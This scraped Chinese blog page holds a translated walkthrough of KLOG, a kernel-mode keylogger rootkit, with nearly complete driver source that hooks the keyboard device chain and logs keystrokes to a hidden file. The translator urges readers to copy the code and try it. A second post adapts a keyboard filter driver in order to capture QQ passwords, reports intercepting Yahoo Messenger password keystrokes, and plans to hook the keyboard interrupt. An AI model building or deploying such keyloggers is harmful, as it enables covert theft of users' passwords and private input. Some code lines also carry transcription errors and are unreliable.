天天看點

keyboard hook

http://blog.csdn.net/van_ni/archive/2006/03/11/622112.aspx

<script type="text/javascript">function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}</script>

<script src="http://wz.csdn.net/javascripts/vote.js" type="text/javascript"></script> style="MARGIN-TOP: 0px; FLOAT: left" marginwidth="0" framespacing="0" marginheight="0" src="http://wz.csdn.net/vote.aspx?t=Rootkits%3A%20Subverting%20the%20Windows%20Kernel%20chap6_2%20%u7FFB%u8BD1%20-%20van_ni%20-%20CSDNBlog&u=http%3A//blog.csdn.net/van_ni/archive/2006/03/11/622112.aspx" frame noresize="noresize" width="54" scrolling="no" height="75">

keyboard hook

 Rootkits: Subverting the Windows Kernel chap6_2 翻譯   <script src="http://blog.csdn.net/count.aspx?ID=622112&Type=Rank" type="text/javascript"></script>

keyboard hook
keyboard hook
keyboard hook
keyboard hook
keyboard hook
keyboard hook

The KLOG Rootkit:A Walk-through

注:由于本書風格是邊解釋,邊寫代碼,都混一起了,你可以直接忽略文字,把代碼拷貝下來試驗一下。

我們的叫做KLOG的鍵盤監視例子,是Clandestiny所寫的并在在www.rootkit.com上發表了。下面我們來浏覽分析一下她的代碼。

ps:一個比較流行的鍵盤分層過濾驅動可以在www.sysinternals.com上找到。名字為ctrl2cap。KLOG就是在它的基礎上完成的。

ROOTKIT.COM

這個程式的介紹能在下面找到:

www.rootkit.com/newsread.php?newsid=187

你可以在Clandestiny在ROOT.COM的個人空間中下載下傳到。

你得明白KLOG這個例子是針對US的鍵盤布局的。因為每個擊鍵都被作為掃描碼發送,而不是你所按的鍵的實際字母,是以把掃描碼轉化為字母的步驟是必要的。這種映射依賴鍵盤的布局。

首先,DriverEntry被調用:

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,

                    IN PUNICODE_STRING RegistryPath )

{

NTSTATUS Status = {0};

然後,一個函數被設定來專門用于為鍵盤讀取請求。KLOG的函數DispatchRead:

// Explicitly fill in the IRP handlers we want to hook.

pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;

驅動對象現在已經設定好了,你還得把它連到鍵盤裝置鍊中。這個功能由函數HookKeyboard來完成:

// Hook the keyboard now.

HookKeyboard(pDriverObject);

看清楚HookKeyboard這個函數,如下:

NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)

{

// the filter device object

PDEVICE_OBJECT pKeyboardDeviceObject;

IoCreateDevice被用來建立裝置對象。注意這個裝置是沒有名字的,還有,它是FILE_DEVICE_KEYBOARD類别的。還有,用到了DEVICE_EXTENSION結構的大小,它是個使用者自定義的結構。

// Create a keyboard device object.

NTSTATUS status = IoCreateDevice(pDriverObject,

                                   sizeof(DEVICE_EXTENSION),

                                   NULL,// no name

                                   FILE_DEVICE_KEYBOARD,

                                   0,

                                   true,

                                   &pKeyboardDeviceObject);

// Make sure the device was created.

if(!NT_SUCCESS(status))

return status;

為了與那些下面的鍵盤裝置區分開來,跟新裝置有關聯的标志應該設定成唯一的。你可以通過DeviceTree之類的工具來來獲得這方面的資訊。在寫鍵盤過濾驅動時,下面這些标志也許會用到:

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags

 | (DO_BUFFERED_IO | DO_POWER_PAGABLE);

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &

 ~DO_DEVICE_INITIALIZING;

記得當裝置對象被建立的時候,用到了DEVICE_EXTENSION結構的大小。這是任意一塊能用來存儲資料的不被分頁的記憶體(也就是不用從頁面檔案讀取的)。這塊資料與該裝置對象有練習。KLOG定義的DEVICE_EXTENSION結構如下:

typedef struct _DEVICE_EXTENSION

{

  PDEVICE_OBJECT pKeyboardDevice;

  PETHREAD pThreadObj;

  bool bThreadTerminate;

  HANDLE hLogFile;

  KEY_STATE kState;

  KSEMAPHORE semQueue;

  KSPIN_LOCK lockQueue;

  LIST_ENTRY QueueListHead;

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

HookKeyboard函數對該結構清零并建立一個指針來初始化某些成員:

RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,

                sizeof(DEVICE_EXTENSION));

// Get the pointer to the device extension.

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

插入層中的該鍵盤裝置名字叫KeyboardClass0。其被轉化為UNICODE字元串,并且過濾鈎子通過調用IoAttachDevice()來實作。指向裝置鍊中的下一個裝置的指針存在pKeyboardDeviceExtension->pKeyboardDevice中。該指針被用來把IRPS傳遞給裝置鍊中的下一個裝置。

CCHAR ntNameBuffer[64] = "//Device//KeyboardClass0";

  STRING  ntNameString;

  UNICODE_STRING uKeyboardDeviceName;

  RtlInitAnsiString(&ntNameString, ntNameBuffer);

  RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,

                               &ntNameString,

                               TRUE );

  IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,

                 &pKeyboardDeviceExtension->pKeyboardDevice);

  RtlFreeUnicodeString(&uKeyboardDeviceName);

  return STATUS_SUCCESS;

}// end HookKeyboard

假定HookKeyboard一切都好,我們看看KLOG在DriverMain中繼續處理其他的東東。下一步就是建立一個工作者線程(也就是背景線程,無使用者界面的)用來把擊鍵紀錄到log檔案中。工作者線程是必要的,因為檔案操作在IRP處理函數中是不可能的。當掃描碼已經進入IRPs,系統運作在DISPATCH IRQ level上,這時是不允許進行檔案操作的。在把擊鍵傳送到一個共享緩存時,工作者線程能夠通路它們并且把它們寫到檔案中去。工作者線程運作在一個不同的IRQ level----PASSIVE上,這個level檔案操作是允許的。工作者線程的設定在InitThreadKeyLogger函數中實作:

InitThreadKeyLogger(pDriverObject);

InitThreadKeyLogger函數的實作如下:

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject)

{

一個裝置擴充的指針被用來初始化更多的成員。KLOG存儲線程的狀态在bThreadTerminate中。線程運作時其應該設定為false。

PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject-

>DeviceObject->DeviceExtension;

// Set the worker thread to running state in device extension.

  pKeyboardDeviceExtension->bThreadTerminate = false;

工作者線程通過調用PsCreateSystemThread來建立。可以看到,線程函數名稱為ThreadKeyLogger并且裝置擴充作為一個參數傳遞給線程函數。

// Create the worker thread.

HANDLE hThread;

NTSTATUS status = PsCreateSystemThread(&hThread,

                                       (ACCESS_MASK)0,

                                       NULL,

                                       (HANDLE)0,

                                       NULL,

                                       ThreadKeyLogger,

                                       pKeyboardDeviceExtension);

if(!NT_SUCCESS(status))

return status;

線程對象的指針存儲在裝置擴充中:

// Obtain a pointer to the thread object.

ObReferenceObjectByHandle(hThread,

                   THREAD_ALL_ACCESS,

                   NULL,

                   KernelMode,

                   (PVOID*)&pKeyboardDeviceExtension->pThreadObj,

                   NULL);

// We don't need the thread handle.

ZwClose(hThread);

return status;

}

回到DriverEntry,線程已經準備好了。一個共享連結連結清單被初始化并且存儲在裝置擴充中。該連結清單将包含捕獲到的擊鍵。

PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;

InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

一個spinlock被初始化來同步對連結連結清單的通路。這使得連結連結清單的線程安全可靠,這是非常重要的。如果KLOG沒有使用spinlock,當兩個線程試圖同時通路該連結連結清單時,可能會導緻藍屏錯誤。semaphore(信号量)知道在工作隊列中項目的數量。

// Initialize the lock for the linked list queue.

KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

// Initialize the work queue semaphore.

KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);

下面的代碼打開一個檔案,c:/klog.txt,用于記錄擊鍵。

// Create the log file.

  IO_STATUS_BLOCK file_status;

  OBJECT_ATTRIBUTES obj_attrib;

  CCHAR  ntNameFile[64] = "//DosDevices//c://klog.txt";

  STRING ntNameString;

  UNICODE_STRING uFileName;

  RtlInitAnsiString(&ntNameString, ntNameFile);

  RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);

  InitializeObjectAttributes(&obj_attrib, &uFileName,

                             OBJ_CASE_INSENSITIVE,

                             NULL,

                             NULL);

  Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,

                        GENERIC_WRITE,

                        &obj_attrib,

                        &file_status,

                        NULL,

                        FILE_ATTRIBUTE_NORMAL,

                        0,

                        FILE_OPEN_IF,

                        FILE_SYNCHRONOUS_IO_NONALERT,

                        NULL,

                        0);

  RtlFreeUnicodeString(&uFileName);

  if (Status != STATUS_SUCCESS)

  {

    DbgPrint("Failed to create log file.../n");

    DbgPrint("File Status = %x/n",file_status);

  }

  else

  {

    DbgPrint("Successfully created log file.../n");

    DbgPrint("File Handle = %x/n",

    pKeyboardDeviceExtension->hLogFile);

  }

Finally, a DriverUnload routine is specified for cleanup purposes:

// Set the DriverUnload procedure.

  pDriverObject->DriverUnload = Unload;

  DbgPrint("Set DriverUnload function pointer.../n");

  DbgPrint("Exiting Driver Entry....../n");

  return STATUS_SUCCESS;

}

此時,KLOG驅動挂鈎到了裝置鍊中并且開始擷取擊鍵IRPs。被調用來讀取request的函數為DispatchRead。看一下這個函數:

NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)

{

當一個讀請求被送出給鍵盤控制器時,該函數被調用。此時,IRP中沒有任何資料能為我們所用。我們隻是在擊鍵被捕獲之後才想看到IRP--當IRP在它回到裝置鍊的路上時。

唯一的獲知IRP已經完成的方法就是設定一個"完成函數"(a completion routine)。如果我們不設定"完成函數",IRP回到裝置鍊的時候我們的東東就被忽略了。

當我們傳遞IRP到下一個在裝置鍊中最底層的設時備時,我們需要設定IRP堆棧指針。堆棧在這裡是容易讓人誤解的。每一個裝置都簡單地擁有一個私有的記憶體區可以與每一個IRP使用。這些私有的區域被以一定的次序安排。你可以用IoGetCurrentIrpStackLocation 和 IoGetNextIrpStackLocation來獲得這些私有區域的指針。一個"目前"指針必須正指向下一個最底層驅動的私有區域在IRP被傳遞之前。是以,在調用IoCallDriver之前,調用IoCopyCurrentIrpStackLocationToNext:

// Copy parameters down to next level in the stack

// for the driver below us.

IoCopyCurrentIrpStackLocationToNext(pIrp);

Note that the completion routine is named "OnReadCompletion":

// Set the completion callback.

IoSetCompletionRoutine(pIrp,

                    OnReadCompletion,

                    pDeviceObject,

                    TRUE,

                    TRUE,

                    TRUE);

未決的IRPs的數量被記錄以使KLOG不會被解除安裝除非處理完畢。

// Track the # of pending IRPs.

numPendingIrps++;

最後,IoCallDriver被用于傳遞IRP到在裝置鍊中的下一個最底層的裝置。記得指向下一個最底層裝置的指針存儲在裝置擴充結構中的pKeyboardDevice中。

// Pass the IRP on down to /the driver underneath us.

  return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice, pIrp);

}// end DispatchRead

現在我們可以看到每一個READ IRP,一旦被處理完畢,我們就可以調用OnReadComletion函數。讓我們看一下關于此的一些細節:

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,

                          IN PIRP pIrp, IN PVOID Context)

{

// Get the device extension - we'll need to use it later.

  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject

->DeviceExtension;

該IRP的狀态被檢查。将其看作傳回值,或者錯誤值。如果該值被設定為STATUS_SUCCESS,那就意味着IRP已經成功完成,并且它應該有一些擊鍵資料。SystemBuffer成員指向KEYBOARD_INPUT_DATA結構數組。IoStatus.Information成員包含有該數組的長度。

// If the request has completed, extract the value of the key.

  if(pIrp->IoStatus.Status == STATUS_SUCCESS)

  {

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)

pIrp->AssociatedIrp.SystemBuffer;

int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

KEYBOARD_INPUT_DATA結構的定義如下:

typedef struct _KEYBOARD_INPUT_DATA {

 USHORT UnitId;

 USHORT MakeCode;

 USHORT Flags;

 USHORT Reserved;

 ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

KLOG現在通過所有的數組成員進行循環,從其中獲得每一個擊鍵:

for(int i = 0; i < numKeys; i++)

{

     DbgPrint("ScanCode: %x/n", keys[i].MakeCode);

注意,我們接收兩個事件:按鍵,松開鍵。對于一個簡單的鍵盤監視來說,我們僅僅需要關注其中的一個。在這裡,KEY_MAKE是一個重要的标記。

  if(keys[i].Flags == KEY_MAKE)

      DbgPrint("%s/n","Key Down");

記得該"完成函數"在DISPATCH_LEVEL IRQL被調用,這意味着檔案操作是不允許的。為了繞過這個限制,KLOG通過一個共享連結連結清單把擊鍵傳遞給工作者線程。臨界區必須用來同步該共享連結連結清單的通路。核心強行實施一條規則:在某一時刻隻有一個線程能夠通路某個臨界區。(Technical note:A deferred procedure call [DPC] cannot be used here, since a DPC runs at DISPATCH_LEVEL also.)

  

KLOG配置設定了一些NonPagedPool的記憶體并把掃描碼放到這些記憶體中。然後又從這些記憶體中放到連結連結清單中。Again,由于我們運作在DISPATCH level,記憶體僅能從NonPagedPool中配置設定。

KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));

// Fill in kData structure with info from IRP.

  kData->KeyData = (char)keys[i].MakeCode;

  kData->KeyFlags = (char)keys[i].Flags;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file.

  DbgPrint("Adding IRP to work queue...");

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,

                           &kData->ListEntry,

                           &pKeyboardDeviceExtension->lockQueue);

The semaphore is incremented to indicate that some data needs to be processed:

// Increment the semaphore by 1 - no WaitForXXX after this call.

  KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,

                     0,

                     1,

                     FALSE);

   }// end for

  }// end if

// Mark the IRP pending if necessary.

  if(pIrp->PendingReturned)

   IoMarkIrpPending(pIrp);

Since KLOG is finished processing this IRP, the IRP count is decremented:

  numPendingIrps-;

  return pIrp->IoStatus.Status;

}// end OnReadCompletion

At this point, a keystroke has been saved in the linked list and is available to the worker thread. Let's now look at the worker thread routine:

VOID ThreadKeyLogger(IN PVOID pContext)

{

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pContext;

  PDEVICE_OBJECT pKeyboardDeviceObject =

pKeyboardDeviceExtension->pKeyboardDevice;

  PLIST_ENTRY pListEntry;

  KEY_DATA* kData; // custom data structure used to

                   // hold scancodes in the linked list

現在KLOG進入了一個循環。該代碼等待使用KeWaitForSingleObject的信号量(semaphore)的到來。如果信号量增加,循環就繼續。

while(true)

  {

   // Wait for data to become available in the queue.

   KeWaitForSingleObject(

               &pKeyboardDeviceExtension->semQueue,

               Executive,

               KernelMode,

               FALSE,

               NULL);

頂端節點從連結連結清單中安全移除。注意臨界區的使用。

pListEntry = ExInterlockedRemoveHeadList(

                        &pKeyboardDeviceExtension->QueueListHead,

                        &pKeyboardDeviceExtension->lockQueue);

核心線程不能夠為外部所終止,要終止它隻能靠它自己。這裡KLOG檢查一個标志位來決定它是否應該終止工作者線程。在KLOG解除安裝時才會這麼做。

if(pKeyboardDeviceExtension->bThreadTerminate == true)

{

    PsTerminateSystemThread(STATUS_SUCCESS);

}

CONTAINING_RECORD宏必須用來獲得指向在pListEntry結構中的資料的指針。

kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

這裡KLOG獲得掃描碼并将其轉化為字元碼。這通過一個有用的函數ConvertScanCodeToKeyCode來實作。該函數僅僅适用于US English鍵盤布局,當然,改一下就可用在其他的鍵盤布局了。

// Convert the scan code to a key code.

  char keys[3] = {0};

  ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);

// Make sure the key has returned a valid code

// before writing it to the file.

  if(keys != 0)

  {

如果檔案句柄是有效的,使用ZwWriteFile來講字元碼寫到紀錄檔案中。

// Write the data out to a file.

   if(pKeyboardDeviceExtension->hLogFile != NULL)

   {

     IO_STATUS_BLOCK io_status;

     NTSTATUS status = ZwWriteFile(

                            pKeyboardDeviceExtension->hLogFile,

                            NULL,

                            NULL,

                           NULL,

                           &io_status,

                           &keys,

                           strlen(keys),

                           NULL,

                           NULL);

     if(status != STATUS_SUCCESS)

        DbgPrint("Writing scan code to file.../n");

     else

        DbgPrint("Scan code '%s' successfully written to file./n",keys);

     }// end if

   }// end if

  }// end while

  return;

}// end ThreadLogKeyboard

KLOG的基本功能已經完成了。看一下Unload函數。

VOID Unload( IN PDRIVER_OBJECT pDriverObject)

{

// Get the pointer to the device extension.

  PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;

  DbgPrint("Driver Unload Called.../n");

驅動必須unhook該裝置通過IoDetachDevice:

// Detach from the device underneath that we're hooked to.

  IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

  DbgPrint("Keyboard hook detached from device.../n");

這裡用了一個timer,KLOG進入一個簡短的循環直到所有的IRPs都被處理完。

// Create a timer.

  KTIMER kTimer;

  LARGE_INTEGER timeout;

  timeout.QuadPart = 1000000;// .1 s

  KeInitializeTimer(&kTimer);

如果一個IRP正在等待一個擊鍵,upload就不會完成指導這個鍵被按下了:

while(numPendingIrps > 0)

  {

   // Set the timer.

   KeSetTimer(&kTimer,timeout,NULL);

   KeWaitForSingleObject(

               &kTimer,

               Executive,

               KernelMode,

               false,

               NULL);

  }

現在KLOG說明工作者線程應該結束了:

// Set our key logger worker thread to terminate.

  pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after this call.

  KeReleaseSemaphore(

               &pKeyboardDeviceExtension->semQueue,

               0,

               1,

               TRUE);

KLOG通過線程指針調用KeWaitForSingleObject,等待直到工作者線程被終止:

// Wait until the worker thread terminates.

  DbgPrint("Waiting for key logger thread to terminate.../n");

  KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

                        Executive,

                        KernelMode,

                        false,NULL);

  DbgPrint("Key logger thread terminated/n");

最後,關閉記錄檔案。

// Close the log file.

  ZwClose(pKeyboardDeviceExtension->hLogFile);

還有,一些清理工作應該做一下:

// Delete the device.

  IoDeleteDevice(pDriverObject->DeviceObject);

  DbgPrint("Tagged IRPs dead...Terminating.../n");

  return;

}

這樣,鍵盤監控就完成了。這無疑是很重要的一份代碼--一個了不起的通向其他分層的ROOTKITS的起點。毫無疑問,就單單鍵盤監控就已經是我們所應掌握的最有價值的ROOTKITS之一了。擊鍵告訴我們太多了,這還用說嗎?

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=622112

http://hi.baidu.com/widebright/blog/item/ee0a5e60c1cb03de8db10dc4.html

鍵盤驅動的一些程式設計資料 2007年04月19日 星期四 21:57

http://msdn2.microsoft.com/en-us/library/ms790194.aspx Windows Driver Kit: Human Input Devices Driver Stacks for Non-HIDClass Keyboard and Mouse Devices

The following figure illustrates the driver stacks for PS/2 keyboard and mouse devices, and serial mouse devices.

keyboard hook

Driver Stacks for Non-HIDClass Keyboard and Mouse Devices

Vendor drivers for PS/2 and serial keyboard and mouse devices are not required.

Vendors can supply a filter driver for a PS/2 keyboard and mouse — see Features of the Kbfiltr and Moufiltr Drivers.

For more information about supporting non-HIDClass keyboard and mouse devices, see the following:

Non-HIDClass Keyboard and Mouse Devices

Serial Devices and Drivers

看字面上的意思好像可以自己實作中間黑色的那層,然後就可以得到鍵盤的資料。在那層微軟留了幾個接口函數,可以讓你自己實作鍵盤資料擷取過濾等功能:

Windows Driver Kit: Human Input Devices Kbfiltr Callback Routines

This section describes the Kbfiltr callback routines:

KbFilter_InitializationRoutine

KbFilter_IsrHook

KbFilter_ServiceCallback

像在KbFilter_ServiceCallback這個函數中就可以得到鍵盤的按鍵資料

Windows Driver Kit: Human Input Devices KbFilter_ServiceCallback

The KbFilter_ServiceCallback routine is a template for a filter service callback routine that supplements the operation of KeyboardClassServiceCallback.

VOID
     KbFilter_ServiceCallback(
       IN PDEVICE_OBJECT  DeviceObject,
       IN PKEYBOARD_INPUT_DATA  InputDataStart,
       IN PKEYBOARD_INPUT_DATA  InputDataEnd,
       IN OUT PULONG  InputDataConsumed
       );
      

Parameters

DeviceObject
Pointer to the class device object.
InputDataStart
Pointer to the first keyboard input data packet in the input data buffer of the port device.
InputDataEnd
Pointer to the keyboard input data packet that immediately follows the last data packet in the input data buffer of the port device.
InputDataConsumed
Pointer to the number of keyboard input data packets that are transferred by the routine.

Return Value

None

Headers

Declared in kbfiltr.h. Include kbfiltr.h.

Comments

The ISR dispatch completion routine of the function driver calls KbFilter_ServiceCallback, which then calls KeyboardClassServiceCallback. A vendor can implement a filter service callback to modify the input data that is transferred from the device's input buffer to the class data queue. For example, the callback can delete, transform, or insert data.

For more information about customizing the keyboard class service callback, see Connect a Class Service Callback and a Filter Service Callback to a Device.

KbFilter_ServiceCallback runs in kernel mode at IRQL DISPATCH_LEVEL.

See Also

KeyboardClassServiceCallback, KEYBOARD_INPUT_DATA

--------------------------------------------------------------------------------------------------

Windows Driver Kit: Human Input Devices KEYBOARD_INPUT_DATA

KEYBOARD_INPUT_DATA contains one packet of keyboard input data.

typedef struct _KEYBOARD_INPUT_DATA {
     USHORT     UnitId;
     USHORT     MakeCode;
     USHORT     Flags;
     USHORT     Reserved;
     ULONG     ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
      

Members

UnitId
Specifies the unit number of a keyboard device. A keyboard device name has the format /Device/KeyboardPort N, where the suffix N is the unit number of the device. For example, a device, whose name is /Device/KeyboardPort0, has a unit number of zero, and a device, whose name is /Device/KeyboardPort1, has a unit number of one.
MakeCode
Specifies the scan code associated with a key press.
Flags
Specifies a bitwise OR of one or more of the following flags that indicate whether a key was pressed or released, and other miscellaneous information.
Value Meaning
KEY_MAKE The key was pressed.
KEY_BREAK The key was released.
KEY_E0 Extended scan code used to indicate special keyboard functions. See the Kbdclass sample code.
KEY_E1 Extended scan code used to indicate special keyboard functions. See the Kbdclass sample code.
Reserved
Reserved for operating system use.
ExtraInformation
Specifies device-specific information associated with a keyboard event.

Headers

Declared in ntddkbd.h. Include ntddkbd.h.

Comments

In response to an IRP_MJ_READ (Kbdclass) request, Kbdclass transfers zero or more KEYBOARD_INPUT_DATA structures from its internal data queue to the Win32 subsystem buffer.

See Also

IRP_MJ_READ (Kbdclass), KeyboardClassServiceCallback

-------------------------------------------------------------------------------------------------------

根據WinDDK中的kbfiltr這個例子,稍稍改了一下就可以得到一個鍵盤過濾驅動了。本來是想通過鍵盤驅動來擷取QQ的密碼的。不過好像QQ棋高一着,得到輸入密碼的時候,自己寫的驅動的KbFilter_ServiceCallback函數中一直得不到鍵盤資料,看來是QQ自己的鍵盤驅動搶先一步完成IRP了。不知道怎麼設定才能使自己的驅動處于比npkcrypt.sys (QQ的鍵盤驅動)更低的層次,不然是得不到鍵盤資料了。

(未完待續)

=======================================================================

修改後的用DbgPrint來列印鍵盤掃描碼的程式的KeyboardClassServiceCallback 回調函數

VOID

KbFilter_ServiceCallback(

     IN PDEVICE_OBJECT DeviceObject,

     IN PKEYBOARD_INPUT_DATA InputDataStart,

     IN PKEYBOARD_INPUT_DATA InputDataEnd,

     IN OUT PULONG InputDataConsumed

     )

{   

     PDEVICE_EXTENSION    devExt;

       ULONG   i;

       ULONG num;

       ULONG   keycode;

       PKEYBOARD_INPUT_DATA   data;

               data =InputDataStart;

               num=InputDataEnd-InputDataStart;

      DbgPrint(("Keyboard Filter Driver Sample - in the ServiceCallback function /n"));

     for(i=0;i<num;i++)

     {

        keycode= data->MakeCode;           //得到按鍵掃描碼

        DbgPrint("Keyboard Filter Driver Sample - keycode=%u/n",keycode );

        data++;

     }

     devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;

     (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(

         devExt->UpperConnectData.ClassDeviceObject,

         InputDataStart,

         InputDataEnd,

         InputDataConsumed);

}

安裝自己修改後的鍵盤過濾驅動後(怎麼安裝參考WinDDK說明),就可以截獲鍵盤資料了。每次鍵盤按下和彈起,用Dbgview.exe都可以檢視到資料比如按下“D”鍵時可以得到33的掃描碼。   實際測試發現可以攔下像雅虎通等程式的密碼輸入時的按鍵資訊。應該是除了QQ的密碼輸入之外,其他地方的按鍵資訊都可以攔下了。在網上找了一下資料,說是QQ采用一個南韓公司的鍵盤加密資料技術,在QQ密碼輸入的時候修改了系統的鍵盤中斷IDT了。

怎麼樣在windows系統下修改鍵盤中斷向量呢?繼續學習吧!!

繼續閱讀